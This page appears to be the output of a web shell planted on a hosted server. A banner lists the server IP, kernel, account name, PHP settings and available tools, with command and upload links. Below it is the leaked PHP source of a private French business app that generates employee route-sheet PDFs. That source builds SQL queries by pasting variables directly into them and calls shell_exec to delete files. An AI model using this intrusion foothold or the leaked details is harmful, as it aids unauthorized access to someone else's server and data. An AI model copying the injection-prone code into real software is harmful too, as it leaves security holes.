|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// lllk
include 'includes/config_tmcpro2.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// error_reporting(E_ALL);
// ini_set("display_errors", 1);
// $presta_jour2 = array('1' => 'nynnnnn', '2' => 'nnynnnn', '3' => 'nnnynnn', '4' => 'nnnnynn', '5' => 'nnnnnyn', '6' => 'nnnnnny', '0' => 'ynnnnnn') ;
function jour_nouveauLogiciel_to_ancien($j){
switch ($j) {
case 1:
$jr = "nynnnnn";
break;
case 2:
$jr = "nnynnnn";
break;
case 3:
$jr = "nnnynnn";
break;
case 4:
$jr = "nnnnynn";
break;
case 5:
$jr = "nnnnnyn";
break;
case 6:
$jr = "nnnnnny";
break;
case 0:
$jr = "ynnnnnn";
break;
default:
$jr = "nnnnnnn";
}
return $jr ;
}
// echo "===>< $from <br/>" ;
$R=dbi_query("SELECT client_id id, concat(client_nom, ' ', client_pnom) civ, IF(client_genre='SERENA',1,0) as serena, IF(client_genre='FORMATION',1,0) as formation FROM ".TABLE_CLIENT." where agence_id=$agence ");
$CLIENTS=array();
while($cl = dbi_fetch_row($R))
{
$CLIENTS []=$cl['id'];
}
// print_r($CLIENTS);
function jour_jouren2($jour,$get)
{
static $presta_jour ;
$from = $get ;
$presta_jour = array('nynnnnn' => $get, 'nnynnnn' => date("Ymd", strtotime("+1 day", strtotime($from))), 'nnnynnn' => date("Ymd", strtotime("+2 day", strtotime($from))), 'nnnnynn' => date("Ymd", strtotime("+3 day", strtotime($from))), 'nnnnnyn' => date("Ymd", strtotime("+4 day", strtotime($from))), 'nnnnnny' => date("Ymd", strtotime("+5 day", strtotime($from))), 'ynnnnnn' => date("Ymd", strtotime("+6 day", strtotime($from)))) ;
return $presta_jour[$jour] ;
}
function get_prest_sejm( $interdispo,$from ,$to,$agence,$CLIENTS)
{
$id=0;
$p=array();
$db=debutsem(date('Y', strtotime($from)),date('m', strtotime($from)),date('d', strtotime($from)));
$dbto=debutsem(date('Y', strtotime($to)),date('m', strtotime($to)),date('d', strtotime($to)));
$fin=date('Ymd',int2time($dbto)+6*24*3600 );
while($db < $fin )
{
$and = date('Ymd',int2time($db)+6*24*3600 );
$presta_jour1 = array('nynnnnn' => '1', 'nnynnnn' => '2', 'nnnynnn' => '3', 'nnnnynn' => '4', 'nnnnnyn' => '5', 'nnnnnny' => '6', 'ynnnnnn' => '0') ;
$presta_jour2 = array('1' => 'nynnnnn', '2' => 'nnynnnn', '3' => 'nnnynnn', '4' => 'nnnnynn', '5' => 'nnnnnyn', '6' => 'nnnnnny', '0' => 'ynnnnnn') ;
// echo " ---> $db // $and \n ";
$q2 = dbi_query("SELECT p.* FROM PRESTATIONS p, ".TABLE_CLIENT." c WHERE p.client_id=c.client_id and p.agence_id=$agence AND ((presta_date_debut <= $db) OR ((presta_jour = 'nnnnnnn' OR presta_jour is NULL) OR ( p.presta_date_debut = p.presta_date_fin ) ) ) AND presta_date_debut < $and AND (p.presta_date_fin >= $db OR p.presta_date_fin >= $and OR p.presta_date_fin IS NULL) ");
// echo "SELECT p.* FROM PRESTATIONS p, ".TABLE_CLIENT." c WHERE p.client_id=c.client_id and p.agence_id=$agence AND ((presta_date_debut <= $db) OR ((presta_jour = 'nnnnnnn' OR presta_jour is NULL) OR ( p.presta_date_debut = p.presta_date_fin ) ) ) AND presta_date_debut < $and AND (p.presta_date_fin >= $db OR p.presta_date_fin >= $and OR p.presta_date_fin IS NULL) AND p.client_id = 11109 <br/> " ;
while($prest = dbi_fetch_row($q2))
{
// echo "===ddd=> ".date("w",strtotime($prest['presta_date_fin']))."<br/>" ;
if($prest['presta_jour']== 'nnnnnnn' || $prest['presta_jour']== '' || $prest['presta_jour']== NULL )
$prest['presta_jour']=$presta_jour2[date("w",strtotime($prest['presta_date_fin']))];
$data = array('jour' => $prest['presta_jour'], 'deb' => $prest['presta_Hdeb'], 'duree' => $prest['presta_Hduree'], 'inter' => $prest['salarie_id'], 'taux' => $prest['presta_forfait']) ;
// $q1 = dbi_query("SELECT * FROM ".TABLE_PRESTA_MODIF." WHERE presta_id = ".$prest['presta_id']." order by `start`, `date`") ;
$q1 = dbi_query("SELECT * FROM PRESTATIONS_MODIF WHERE presta_id = ".$prest['presta_id']." AND start <= $and order by `start`, `date`") ;
// echo $prest['presta_jour'].' !! ';
while (($m = dbi_fetch_row($q1)) )
{
// echo ' ------ '.$m['jour']."<br/>";
$jour = $m['presta_jour'] === NULL ? $data['jour'] : $m['presta_jour'] ;
$date=jour_jouren2(jour_nouveauLogiciel_to_ancien($jour),$db);
if($date>=$m['start']) {
// if($m['start'] <= $to)
// {
$data['jour'] = $m['presta_jour'] === NULL ? $data['jour'] : $m['presta_jour'] ;
$data['deb'] = $m['presta_Hdeb'] === NULL ? $data['deb'] : $m['presta_Hdeb'] ;
$data['duree'] = $m['presta_Hduree'] === NULL ? $data['duree'] : $m['presta_Hduree'] ;
$data['inter'] = $m['salarie_id'] === NULL ? $data['inter'] : $m['salarie_id'] ;
$data['taux'] = $m['taux'] === NULL ? $data['taux'] : $m['taux'] ;
}
}
$jour=$data['jour'];
// echo $jour.' ++++ <br/>';
// print_r($interdispo) ;
if (in_array($data['inter'], $interdispo)) {
// echo $jour.' ++++ <br/> ';
$heurefin=addDuree($data['deb'],$data['duree']);
// $qexcept=dbi_query("SELECT * FROM ".TABLE_EXCEPT." WHERE (date BETWEEN ".$from." AND ".$to.") AND date <= ".jour_jouren2($presta_jour1[$jour],$from)." AND presta_id=".$prest['presta_id']." ");
$qexcept=dbi_query("SELECT * FROM EXCEPTIONS WHERE (date_presta BETWEEN ".$db." AND ".$and.") AND presta_id=".$prest['presta_id']." ");
if($rr = dbi_fetch_row($qexcept)){
}
else{
if (in_array($prest['client_id'], $CLIENTS))
{
// echo "!! ".$data['jour']." / $db !!";
$jour = jour_nouveauLogiciel_to_ancien($jour) ;
// echo "!!: k ".$jour." k / $db !!"."<br/>" ;
// echo "=>".jour_jouren2($jour,$db)."<br/>" ;
$date_jour_presta = jour_jouren2($jour,$db) ;
// echo "==/".$date_jour_presta."<br/>" ;
$presta=array("presta_id" => $prest['presta_id'],"presta_desc" => $prest['presta_desc'] , "presta_date_debut" => $prest['presta_date_debut'] , "presta_Hdeb" => $data['deb'] , "presta_Hduree" => $data['duree'] , "presta_recur" => $prest['presta_recur'] , "presta_date_fin" => $prest['presta_date_fin'] , "presta_jour" => $jour , "presta_forfait" => $prest['presta_jour'] , "presta_forfaitHT" => $prest['presta_forfaitHT'], "presta_status" => $prest['presta_status'] , "presta_sem" => $prest['presta_sem'] , "client_id" => $prest['client_id'] , "inter_id" => $data['inter'] , "agence_id" => $prest['agence_id'], "date" => $date_jour_presta );
$p[$id]= $presta;
++$id;
}
}
}
}
$db = time2int(add_day(int2time($db),7) );
}
return $p;
// exit() ;
}
if(!empty($_POST)){
include 'includes/feuillerouteV2.php' ;
$interv = array() ;
if(!is_dir("feuillesroute/$agence"))
{
mkdir("feuillesroute/$agence") ;
chmod("feuillesroute/$agence", 0755) ;
}
shell_exec("rm -f feuillesroute/$agence/*") ;
$pre=array();
// $from = getPostDate('from') ;
// $to = getPostDate('to') ;
$from = date2int_DSI($_POST['from']) ;
$to = date2int_DSI($_POST['to']) ;
$pre=get_prest_sejm( $_POST['inter'],$from,$to ,$agence = 47 ,$CLIENTS);
// echo "<pre>" ;
// print_r($pre) ;
// echo "</pre>" ;
// exit() ;
foreach($_POST['inter'] as $inter)
{
// print_r($_POST['inter']);
$f = new FeuilleRoute($inter, $from, $to,$pre) ;
if($f->estutile())
{
$f->Output("feuillesroute/$agence/$inter.pdf", 'F') ;
$interv[] = "feuillesroute/$agence/$inter.pdf" ;
}
unset ($f);
}
// pdf_concatene marche pas en local
// pdf_concatene($interv, "feuillesroute/$agence/fiches.pdf") ;
$file = "feuillesroute/$agence/$inter.pdf";
// $file = "feuillesroute/$agence/fiches.pdf";
// if (file_exists($file)) {
// header('Content-Description: File Transfer');
// header('Content-Type: application/pdf');
// header('Content-Disposition: attachment; filename="' . basename($file) . '"');
// header('Content-Length: ' . filesize($file));
// readfile($file);
// exit;
// }
pdf_concatene($interv, "feuillesroute/$agence/fiches.pdf") ;
printf('<a href="feuillesroute/%s/fiches.pdf" target="_blank">%s</a>', $agence, 'Les feuilles de routes créées') ;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Edition des factures</title>
<!-- Tell the browser to be responsive to screen width -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Font Awesome -->
<link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- daterange picker -->
<link rel="stylesheet" href="../plugins/daterangepicker/daterangepicker.css">
<!-- iCheck for checkboxes and radio inputs -->
<link rel="stylesheet" href="../plugins/icheck-bootstrap/icheck-bootstrap.min.css">
<!-- Bootstrap Color Picker -->
<link rel="stylesheet" href="../plugins/bootstrap-colorpicker/css/bootstrap-colorpicker.min.css">
<!-- Tempusdominus Bbootstrap 4 -->
<link rel="stylesheet" href="../plugins/tempusdominus-bootstrap-4/css/tempusdominus-bootstrap-4.min.css">
<!-- Select2 -->
<link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
<link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
<!-- Bootstrap4 Duallistbox -->
<link rel="stylesheet" href="../plugins/bootstrap4-duallistbox/bootstrap-duallistbox.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
</head>
<body class="hold-transition sidebar-mini">
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
</td>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav> <!-- fin du TOP MENU -->
<?php include('menu.php'); ?>
<div class="modal fade" id="PrestUpt" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="jalil" ></div>
</div>
</div>
</div>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<!-- Main content -->
<section class="content">
<div class="container-fluid">
<div class="row">
<div class="col-lg-6 col-6">
</div>
</div>
<div class="row">
<!-- /.col -->
<div class="col-md-12">
<div class="card card-info" style='border:2px solid #17a2b8;'>
<div class="card-header">
<h3 class="card-title">Feuille de route </h3>
</div>
<!-- form start -->
<form role="form" method='POST' action=''>
<!-- /.card-header -->
<div class="card-body" >
<div class="row">
<div class="col-12">
<div class="form-group">
<select class="duallistbox" multiple="multiple" style="height: 150px;" name="inter[]" id="client_ids[]">
<?php $req =dbi_query("SELECT * FROM salarie WHERE salarie_statut = '1' ORDER BY salarie_nom ASC ") ;
while( $cli=dbi_fetch_row($req)) { ?>
<option value="<?php echo $cli['salarie_id'] ; ?>" <?php if(in_array($cli['salarie_id'] , $_POST['inter'])) echo 'selected';?>><?php echo utf8_encode($cli['salarie_nom']); ?></option>
<?php } ?>
</select>
</div>
</div>
<div class="col-sm-3">
<div class="form-group">
<label>Du :</label>
<input type="date" class="form-control" data-inputmask-alias="datetime" data-inputmask-inputformat="dd/mm/yyyy" data-mask name="from" placeholder="jj/mm/aaaa" >
</div>
</div>
<div class="col-sm-3">
<div class="form-group">
<label>Au : </label>
<input type="date" class="form-control" data-inputmask-alias="datetime" data-inputmask-inputformat="dd/mm/yyyy" data-mask name="to" placeholder="jj/mm/aaaa" >
</div>
</div>
<div class="col-sm-3">
<div class="form-group"><label><br/></label>
<button type="submit" class="btn btn-block bg-gradient-primary">Valider</button>
</div>
</div>
</div>
</div>
</form>
</div>
</div> <!-- /.col -->
</div><!-- /.row -->
<!-- /.row -->
</div><!-- /.container-fluid -->
</section>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.2
</div>
<strong>Copyright © 2014-2019 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights
reserved.
</footer>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- Select2 -->
<script src="../plugins/select2/js/select2.full.min.js"></script>
<!-- Bootstrap4 Duallistbox -->
<script src="../plugins/bootstrap4-duallistbox/jquery.bootstrap-duallistbox.js"></script>
<!-- InputMask -->
<script src="../plugins/moment/moment.min.js"></script>
<script src="../plugins/inputmask/min/jquery.inputmask.bundle.min.js"></script>
<!-- date-range-picker -->
<script src="../plugins/daterangepicker/daterangepicker.js"></script>
<!-- bootstrap color picker -->
<script src="../plugins/bootstrap-colorpicker/js/bootstrap-colorpicker.min.js"></script>
<!-- Tempusdominus Bootstrap 4 -->
<script src="../plugins/tempusdominus-bootstrap-4/js/tempusdominus-bootstrap-4.min.js"></script>
<!-- Bootstrap Switch -->
<script src="../plugins/bootstrap-switch/js/bootstrap-switch.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<!-- Page script -->
<script>
$(function () {
$("#allcheck").click(function(){
$('input:checkbox').not(this).prop('checked', this.checked);
});
var TOTALCA ="<?php echo number_format( $CATTC, 2, ',', ' ').'<sup> € </sup>';?>";
$('#TOTALCA').html(TOTALCA);
var TOTALCAHT ="<?php echo number_format( $CAHT, 2, ',', ' ').'<sup> € </sup>';?>";
$('#TOTALCAHT').html(TOTALCAHT);
//Initialize Select2 Elements
$('.select2').select2()
//Initialize Select2 Elements
$('.select2bs4').select2({
theme: 'bootstrap4'
})
//Datemask dd/mm/yyyy
$('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
//Datemask2 mm/dd/yyyy
$('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
//Money Euro
$('[data-mask]').inputmask()
//Date range picker
$('#reservation').daterangepicker()
//Date range picker with time picker
$('#reservationtime').daterangepicker({
timePicker: true,
timePickerIncrement: 30,
locale: {
format: 'MM/DD/YYYY hh:mm A'
}
})
//Date range as a button
$('#daterange-btn').daterangepicker(
{
ranges : {
'Today' : [moment(), moment()],
'Yesterday' : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
'Last 30 Days': [moment().subtract(29, 'days'), moment()],
'This Month' : [moment().startOf('month'), moment().endOf('month')],
'Last Month' : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
},
startDate: moment().subtract(29, 'days'),
endDate : moment()
},
function (start, end) {
$('#reportrange span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
}
)
//Timepicker
$('#timepicker').datetimepicker({
format: 'LT'
})
//Bootstrap Duallistbox
$('.duallistbox').bootstrapDualListbox()
//Colorpicker
$('.my-colorpicker1').colorpicker()
//color picker with addon
$('.my-colorpicker2').colorpicker()
$('.my-colorpicker2').on('colorpickerChange', function(event) {
$('.my-colorpicker2 .fa-square').css('color', event.color.toString());
});
$("input[data-bootstrap-switch]").each(function(){
$(this).bootstrapSwitch('state', $(this).prop('checked'));
});
})
</script>
</body>
</html>
